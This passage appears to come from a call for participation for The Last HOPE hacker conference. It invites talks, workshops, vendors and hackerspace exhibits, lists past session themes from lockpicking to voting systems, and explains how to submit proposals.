  • Display: Posters, presentations, demos, workshops, classes, and other ways of sharing information are encouraged.  Space and time will be provided to accommodate proposals.
  • Sell or Exhibit: Space will be available for vendors to sell products of interest to the hacker community.  Details will be posted later to the HOPE website.
  • Teach: Share your knowledge with others during formal and informal workshops. Hands-on instruction is particularly welcome.
    Do you have a lab, factory, warehouse, or other “hacker space”?  Do you know there are other hackers in your area who want to build one?  The Last HOPE is building the first “hackerspace village” to help bring together existing project spaces and inspire efforts to build them.  Show hackers from around the world how you built your space, what you’re doing with it, or what you would do if you had one!   Learn about, build, and help grow the global hackerspace movement.  E-mail hackerspace@hope.net with some details about your space or plans for building one!

Topics related to all aspects of hackers and hacking are welcome. In past years, sessions have included these themes:

  • New technologies
  • Effects of new laws and business models
  • Hackers and activism
  • Telephone systems
  • Radio communication
  • Intelligence gathering
  • Lockpicking
  • Privacy
  • System internals vulnerabilities
  • Copy protection
  • Strong crypto
  • Data exchange
  • Voting systems
  • Social engineering
  • Programming techniques
  • Hacker Ethics
  • Stories from K-12
  • Systems administration
  • Worms and viruses
  • The Man and how to avoid him
  • Information privacy
  • International cooperation
  • Peer to peer networks
  • Wireless
  • Culture jamming
  • Low-power broadcasting
  • Black hats and white hats
  • Cyberterrorism and cyber protests
  • Teaching hacking
  • Physical explorations
  • Hacker spaces

Other topics are welcome, especially those offering fresh views and new variants on old themes.  Submissions should be sent to speakers@hope.net and include names (or aliases) and email addresses in addition to information requested above.

Conference planning is ongoing throughout the Spring, so submit your ideas or suggestions as early as possible.  Late proposals will be considered if space is available.

For more information about The Last HOPE, check the web pages at www.thelasthope.org.  The web pages provide opportunities to volunteer, information about travel and hotel, and information about speakers, tutorials, and other sessions.

« Previous Entries